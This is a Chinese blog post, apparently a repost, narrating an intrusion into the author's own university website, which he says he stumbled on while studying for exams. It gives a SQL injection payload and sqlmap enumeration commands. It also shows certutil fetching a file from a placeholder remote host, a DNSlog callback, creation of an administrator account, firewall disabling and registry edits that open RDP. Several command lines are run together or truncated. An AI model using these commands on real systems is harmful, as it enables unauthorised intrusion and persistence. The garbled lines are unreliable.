记一次对母校站点的渗透测试

声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。

前言

备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑)

测试到注入

http://url/newdetail.aspx?id=11999' or 1=1 --

直接Sqlmap一把过 , 连waf都没得(狗头)

随便看看

python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch --dbspython sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch -users

DBMS

sqlserver 2005

whoami

在windows中nt authority system 是内置的系统管理账户

查看下目录chdir

Dir c:\

OS版本

Microsoft(R) Windows(R) Server 2003, Enterprise Edition

ipconfig

服务器端存在certutil等于是决定测试一下命令

vps

python -m SimpleHTTPServer 80

打一下

ping wt070h.dnslog.cncertutil.exe -urlcache -split -f http://funny_ip/amazing1x

发现回显

奈何网站路径是中文的 , sqlmap写木马的话会乱码 , 找了找解决办法无果

看看环境变量

Nmap看看端口

因为尝试远程连接的时候出了一些问题，起初不知道是什么原因所以打算看看

尝试远程连接3389

新建用户

#新建用户net user amazingadmin123 amazing.123456 /add

#赋予权限net localgroup Administrators amazingadmin123 /add

#激活用户net user amazingadmin123 /active:yes

#关闭防火墙netsh firewall set opmode mode=disable

#开启默认设置 netsh firewall reset

通过注册表开启3389端口

echo Windows Registry Editor Version 5.00 >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.regecho "fDenyTSConnections"=dword:00000000 >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "ortNumber"=dword:00000D3D >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.regecho "PortNumber"=dword:00000D3D >>3389.regregedit /s 3389.reg